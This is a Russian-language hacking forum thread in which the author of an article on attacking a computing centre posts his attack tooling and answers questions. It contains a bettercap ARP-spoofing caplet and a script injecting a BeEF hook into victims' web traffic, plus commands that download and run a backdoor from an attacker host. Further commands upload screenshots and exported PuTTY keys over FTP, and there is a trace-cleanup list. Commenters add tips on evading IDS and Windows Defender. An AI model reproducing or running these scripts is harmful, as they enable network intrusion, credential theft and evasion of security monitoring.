Статья Пентест Вычислительного Центра (HPC), Атака на захват 710 GH/s мощностей

b0d · 13.01.2020

за кадром осталось куча всякого интересного. Задавайте вопросы, отвечу пока помню детали.

По тематике статьи есть две темы на форуме, обсуждали моменты по хакингу объекта:

Так же, чуть позже я выложу все скрипты и дополню статью заключением.

yky · 13.01.2020

Много букв, звучит история как подготовленная сказка ИМХО

b0d · 13.01.2020

yky сказал(а):
Много букв, звучит история как подготовленная сказка ИМХО

Хм, приму как комплимент, хотя понимаю что это некая претензия, только не пойму к чему. Можно подробнее?

Seledkad · 13.01.2020

Отличная статься, интересно будет увидеть до конца статью и инструменты.

larchik · 13.01.2020

b0d сказал(а):
за кадром осталось куча всякого интересного. Задавайте вопросы, отвечу пока помню детали.

То, что осталось за кадром, лучше бы было включить в статью. Понимаю, что написать это - труд, но такой подробный гайд был бы очень полезен сообществу.
Спасибо, проделана большая работа, читать интересно. Пиши еще )

InetTester · 13.01.2020

Молодец.

N1GGA · 14.01.2020

Очень интересная статья. Молодец)

Vertigo · 14.01.2020

Если есть такой аппарат,как дрон,то можно потестить в будущем интересную вещь

swagcat228 · 18.01.2020

b0d сказал(а):
Executive Summary

Красавчик!
Респектую от души.

Если що, есть машина под рукой, можем вместе проехаться.

b0d сказал(а):
за кадром осталось куча всякого интересного. Задавайте вопросы, отвечу пока помню детали.

По тематике статьи есть две темы на форуме, обсуждали моменты по хакингу объекта:

Подскажите вектор атаки по Windows 10

Крипт шеллкода meterpreter

Так же, чуть позже я выложу все скрипты и дополню статью заключением.

Вопрос по поводу систем обнаружения вторжений:
Была ситуация я когда после атаки на Т.Д. пришлось использовать СИ причем ИРЛ что бы попасть в рубку и запечатлить на камеру мобильного телефона наклейку на коробе с кластером, где был его айпишник.

Т.к. dhcp там не было пришлось вводить в ручную. При попытке подключения - тд пропала раз и на всегда, а спустя несколько минут мимо пороехала машина "безопасности" данного учреждения.

Как предугадать наличие и поведение этих систем?

И ещё момент по поводу внедрения js/html - вы бы не могли немного примеров использования beef в связке с тем же беттеркапом показать?

Спасибо

b0d · 19.01.2020

Коллеги, я обновил и дописал статью. Кто уже читал, начинайте с раздела "Скрипт выполнения команд", выше все как и было, а ниже много нового.

swagcat228 сказал(а):
Как предугадать наличие и поведение этих систем?

Очень просто, нужно всегда считать, что эта система есть и она очень жесткая, и тщательным образом готовить каждый шаг.
Конкретно в этом случае, скорее всего ТД работала на белом списке mac адресов, то есть даже для пробного коннекта, нужно было поснифать эфир и записать mac авторизированных клиентов, помониторить время их работы и пробовать заходить под одним из этих mac в тот временной промежуток, когда они оффлайн.
Таким образом не будет запала по маку. Ну и делаем вывод, что если на объекте есть такая система, из-за которой выезжает СБ, то значит и и дальше будет не просто. Возможно стоит IDS и тогда точно стоит юзать только неприметные порты и трафик пускать по ним криптованный либо юзать кастомные протоколы чтобы не тревожить сетевые правила IDS.

swagcat228 сказал(а):
И ещё момент по поводу внедрения js/html - вы бы не могли немного примеров использования beef в связке с тем же беттеркапом показать?

Смотри ниже, я сейчас выложу исходники всех скриптов, в том числе и инжект хука бифа. А в статье смотри раздел "Анатомия вторжения", там показано как запускать.

b0d · 19.01.2020

beef.js
Хук бифа для инжекта в http траффик:

JavaScript:

function onLoad() {
  log( "BeefInject loaded." );
}

function onResponse(req, res) {
  if( res.ContentType.indexOf('text/html') == 0 ){
    var body = res.ReadBody();
    if( body.indexOf('</head>') != -1 ) {
      res.Body = body.replace(
        '</head>',
        '<script type="text/javascript" src="http://192.168.200.185:3000/hook.js"></script></head>'
      );
    }
  }
}

hook-sup1.cap
capplet для bettercap - автоматизирует запуск атаки для ip 192.168.200.170

Код:

set arp.spoof.targets 192.168.200.170
arp.spoof on
sleep 5
set http.proxy.port 3128
set http.proxy.script /root/attack/hook-sup1/beef.js
http.proxy on
set net.sniff.verbose false
net.sniff on
net.recon off

scrup.txt
Скрипт загрузки скриншотов (да и любых файлов) на ftp

Код:

open 192.168.200.185
anonymous
whatever
binary
mput *.jpg
bye

scr.ps1
psh-Скрипт для создания скриншота из командной строки

Код:

Function Take-ScreenShot {
    <#   
.SYNOPSIS   
    Used to take a screenshot of the desktop or the active window. 
.DESCRIPTION   
    Used to take a screenshot of the desktop or the active window and save to an image file if needed.
.PARAMETER screen
    Screenshot of the entire screen
.PARAMETER activewindow
    Screenshot of the active window
.PARAMETER file
    Name of the file to save as. Default is image.bmp
.PARAMETER imagetype
    Type of image being saved. Can use JPEG,BMP,PNG. Default is bitmap(bmp)   
.PARAMETER print
    Sends the screenshot directly to your default printer       
.INPUTS
.OUTPUTS     
.NOTES   
    Name: Take-ScreenShot
    Author: Boe Prox
    DateCreated: 07/25/2010     
.EXAMPLE   
    Take-ScreenShot -activewindow
    Takes a screen shot of the active window         
.EXAMPLE   
    Take-ScreenShot -Screen
    Takes a screenshot of the entire desktop
.EXAMPLE   
    Take-ScreenShot -activewindow -file "C:\image.bmp" -imagetype bmp
    Takes a screenshot of the active window and saves the file named image.bmp with the image being bitmap
.EXAMPLE   
    Take-ScreenShot -screen -file "C:\image.png" -imagetype png     
    Takes a screenshot of the entire desktop and saves the file named image.png with the image being png
.EXAMPLE   
    Take-ScreenShot -Screen -print
    Takes a screenshot of the entire desktop and sends to a printer
.EXAMPLE   
    Take-ScreenShot -ActiveWindow -print
    Takes a screenshot of the active window and sends to a printer     
#>   



#Requires -Version 2
        [cmdletbinding(
                SupportsShouldProcess = $True,
                DefaultParameterSetName = "screen",
                ConfirmImpact = "low"
        )]
Param (
       [Parameter(
            Mandatory = $False,
            ParameterSetName = "screen",
            ValueFromPipeline = $False)]
            [string]
            $screen = "screen",

       [Parameter(
            Mandatory = $False,
            ParameterSetName = "",
            ValueFromPipeline = $False)]
            [string]
            $file = "image.jpg", 
       [Parameter(
            Mandatory = $False,
            ParameterSetName = "",
            ValueFromPipeline = $False)]
            [string]
            [ValidateSet("bmp","jpeg","png")]
            $imagetype = "jpeg"                   
        
)
# C# code
$code = @'
using System;
using System.Runtime.InteropServices;
using System.Drawing;
using System.Drawing.Imaging;
namespace ScreenShotDemo
{
  /// <summary>
  /// Provides functions to capture the entire screen, or a particular window, and save it to a file.
  /// </summary>
  public class ScreenCapture
  {
    /// <summary>
    /// Creates an Image object containing a screen shot the active window
    /// </summary>
    /// <returns></returns>
    public Image CaptureActiveWindow()
    {
      return CaptureWindow( User32.GetForegroundWindow() );
    }
    /// <summary>
    /// Creates an Image object containing a screen shot of the entire desktop
    /// </summary>
    /// <returns></returns>
    public Image CaptureScreen()
    {
      return CaptureWindow( User32.GetDesktopWindow() );
    }     
    /// <summary>
    /// Creates an Image object containing a screen shot of a specific window
    /// </summary>
    /// <param name="handle">The handle to the window. (In windows forms, this is obtained by the Handle property)</param>
    /// <returns></returns>
    private Image CaptureWindow(IntPtr handle)
    {
      // get te hDC of the target window
      IntPtr hdcSrc = User32.GetWindowDC(handle);
      // get the size
      User32.RECT windowRect = new User32.RECT();
      User32.GetWindowRect(handle,ref windowRect);
      int width = windowRect.right - windowRect.left;
      int height = windowRect.bottom - windowRect.top;
      // create a device context we can copy to
      IntPtr hdcDest = GDI32.CreateCompatibleDC(hdcSrc);
      // create a bitmap we can copy it to,
      // using GetDeviceCaps to get the width/height
      IntPtr hBitmap = GDI32.CreateCompatibleBitmap(hdcSrc,width,height);
      // select the bitmap object
      IntPtr hOld = GDI32.SelectObject(hdcDest,hBitmap);
      // bitblt over
      GDI32.BitBlt(hdcDest,0,0,width,height,hdcSrc,0,0,GDI32.SRCCOPY);
      // restore selection
      GDI32.SelectObject(hdcDest,hOld);
      // clean up
      GDI32.DeleteDC(hdcDest);
      User32.ReleaseDC(handle,hdcSrc);
      // get a .NET image object for it
      Image img = Image.FromHbitmap(hBitmap);
      // free up the Bitmap object
      GDI32.DeleteObject(hBitmap);
      return img;
    }
    /// <summary>
    /// Captures a screen shot of the active window, and saves it to a file
    /// </summary>
    /// <param name="filename"></param>
    /// <param name="format"></param>
    public void CaptureActiveWindowToFile(string filename, ImageFormat format)
    {
      Image img = CaptureActiveWindow();
      img.Save(filename,format);
    }
    /// <summary>
    /// Captures a screen shot of the entire desktop, and saves it to a file
    /// </summary>
    /// <param name="filename"></param>
    /// <param name="format"></param>
    public void CaptureScreenToFile(string filename, ImageFormat format)
    {
      Image img = CaptureScreen();
      img.Save(filename,format);
    }     
    
    /// <summary>
    /// Helper class containing Gdi32 API functions
    /// </summary>
    private class GDI32
    {
      
      public const int SRCCOPY = 0x00CC0020; // BitBlt dwRop parameter
      [DllImport("gdi32.dll")]
      public static extern bool BitBlt(IntPtr hObject,int nXDest,int nYDest,
        int nWidth,int nHeight,IntPtr hObjectSource,
        int nXSrc,int nYSrc,int dwRop);
      [DllImport("gdi32.dll")]
      public static extern IntPtr CreateCompatibleBitmap(IntPtr hDC,int nWidth,
        int nHeight);
      [DllImport("gdi32.dll")]
      public static extern IntPtr CreateCompatibleDC(IntPtr hDC);
      [DllImport("gdi32.dll")]
      public static extern bool DeleteDC(IntPtr hDC);
      [DllImport("gdi32.dll")]
      public static extern bool DeleteObject(IntPtr hObject);
      [DllImport("gdi32.dll")]
      public static extern IntPtr SelectObject(IntPtr hDC,IntPtr hObject);
    }
 
    /// <summary>
    /// Helper class containing User32 API functions
    /// </summary>
    private class User32
    {
      [StructLayout(LayoutKind.Sequential)]
      public struct RECT
      {
        public int left;
        public int top;
        public int right;
        public int bottom;
      }
      [DllImport("user32.dll")]
      public static extern IntPtr GetDesktopWindow();
      [DllImport("user32.dll")]
      public static extern IntPtr GetWindowDC(IntPtr hWnd);
      [DllImport("user32.dll")]
      public static extern IntPtr ReleaseDC(IntPtr hWnd,IntPtr hDC);
      [DllImport("user32.dll")]
      public static extern IntPtr GetWindowRect(IntPtr hWnd,ref RECT rect);
      [DllImport("user32.dll")]
      public static extern IntPtr GetForegroundWindow();       
    }
  }
}
'@
#User Add-Type to import the code
add-type $code -ReferencedAssemblies 'System.Windows.Forms','System.Drawing'
#Create the object for the Function
$capture = New-Object ScreenShotDemo.ScreenCapture
 
#Take screenshot of the entire screen
If ($Screen) {
    Write-Verbose "Taking screenshot of entire desktop"
    #Save to a file
    If ($file) {
        If ($file -eq "") {
            $file = "$pwd\image.bmp"
            }
        Write-Verbose "Creating screen file: $file with imagetype of $imagetype"
        $timer = (Get-Date -Format yyyy-MM-dd-HH_mm_ss)
        $file = "screen_" + $timer + ".jpg"
        Write-Host $file   
        $capture.CaptureScreenToFile($file,$imagetype)
        }
    ElseIf ($print) {
        $img = $Capture.CaptureScreen()
        $pd = New-Object System.Drawing.Printing.PrintDocument
        $pd.Add_PrintPage({$_.Graphics.DrawImage(([System.Drawing.Image]$img), 0, 0)})
        $pd.Print()
        }         
    Else {
        $capture.CaptureScreen()
        }
    }
#Take screenshot of the active window     
If ($ActiveWindow) {
    Write-Verbose "Taking screenshot of the active window"
    #Save to a file
    If ($file) {
        If ($file -eq "") {
            $file = "$pwd\image.bmp"
            }
        Write-Verbose "Creating activewindow file: $file with imagetype of $imagetype"
    
        $capture.CaptureActiveWindowToFile($file,$imagetype)
        }
    ElseIf ($print) {
        $img = $Capture.CaptureActiveWindow()
        $pd = New-Object System.Drawing.Printing.PrintDocument
        $pd.Add_PrintPage({$_.Graphics.DrawImage(([System.Drawing.Image]$img), 0, 0)})
        $pd.Print()
        }         
    Else {
        $capture.CaptureActiveWindow()
        }     
    }     
}   
Take-ScreenShot

Шпаргалка для каждого из этапов

Код:

Подготовленная ссылка на апдейт, будет отправлена через BeeF
http://192.168.200.185:443/update.exe

psh-Команда заливки бекдора
Start-Process -NoNewWindow -FilePath "curl" -ArgumentList "http://192.168.200.185:443/s.exe","--output s.exe"

psh-команда запуска скаченного бекдора
& 'C:\Users\Support\Downloads\s.exe'

Загрузка скриншотера
curl http://192.168.200.185:443/scr.ps1 --output scr.ps1

Запуск скриншотера (один запуск - один скриншот)
powershell -ep Bypass C:\Users\Support\Downloads\scr.ps1

скрипт для залифки скриншотов на фтп
curl http://192.168.200.185:443/scrup.txt --output scrup.txt

команда заливки скриншотов на фтп
ftp -i -s:scrup.txt

экспорт ветки реестра с настройками putty
regedit /e C:\Users\Support\Downloads\putty.reg HKEY_CURRENT_USER\Software\SimonTatham

закгрузка скрипта для закачки ключа на фтп
curl http://192.168.200.185:443/key.txt --output key.txt

команда на загрузку ключа на фтп
ftp -i -s:key.txt

зачистка следов, список файлов для удаления

s.exe
scr.ps1
scrup.txt
jpg
putty.reg
key.txt
update.exe

TrevorReznik · 23.01.2020

Статью прочитал запоем. Вопрос почему возникла проблема с запуском meterpreter сессии? Как вариант повысить привилегии, и через powershell отключить realtimemonitor у "Защитника" (на данный момент это закрытая дверь).

b0d · 24.01.2020

TrevorReznik сказал(а):
Вопрос почему возникла проблема с запуском meterpreter сессии? Как вариант повысить привилегии, и через powershell отключить realtimemonitor у "Защитника" (на данный момент это закрытая дверь).

возникла потому что дефендер палить метерпретер видимо по поведению. я слишком много времени убил на обход дефендера и начал пропадать запал

поэтому решил просить все и сделать олдскульно, cmd, скрипты и фтп.
про вырубание защитника, кстати, я заумывался, но потом решил что у юзера будет вылетать уведомление центра защиты что мол вырублен АВ и будет запал, поэтому забил.

TrevorReznik сказал(а):
Статью прочитал запоем.

рад что понравилось)

TrevorReznik · 27.01.2020

Как вариант... можно было добавить в исключения папку и процесс, все "опасные" вызовы также будут палиться, но met будет работать

swagcat228 · 27.01.2020

TrevorReznik сказал(а):
Как вариант... можно было добавить в исключения папку и процесс, все "опасные" вызовы также будут палиться, но met будет работать

met всегда будет работать

Pchlk · 20.03.2020

Перестал читать после "система обнаружения вторжений (SIEM)". Остальное пролистал. Выше писали про сказку. У меня другое впечатление - будто прочитал диплом выпускника 5 курса. В любом случае спасибо.

swagcat228 · 20.03.2020

Pchlk сказал(а):
Перестал читать после "система обнаружения вторжений (SIEM)". Остальное пролистал. Выше писали про сказку. У меня другое впечатление - будто прочитал диплом выпускника 5 курса. В любом случае спасибо.

ахах)
если человек не считает необходимым раскрывать все свои секреты, а о некоторых моментах предпочитает упомянуть в скользь - это его право.

WindizlA · 18.10.2021

а кто в наше время ведётся на запрос в браузере вести пароль wifi? так наивно и глупо

Alex Bredly · 22.10.2021

"Исполняя обязанности инженера службы поддержки вычислительного центра"
"будучи экспертом по сетевой безопасности"
Чето как-то не вяжется.

Все сервисы Codeby

Поиск

Поиск

Статья Пентест Вычислительного Центра (HPC), Атака на захват 710 GH/s мощностей

b0d

yky

b0d

Seledkad

larchik

InetTester

N1GGA

Codeby Team

Vertigo

Lex mea est Vulgate Linux

swagcat228

Заблокирован

b0d

b0d

TrevorReznik

b0d

TrevorReznik

swagcat228

Заблокирован

Pchlk

New member

swagcat228

Заблокирован

WindizlA

New member

Alex Bredly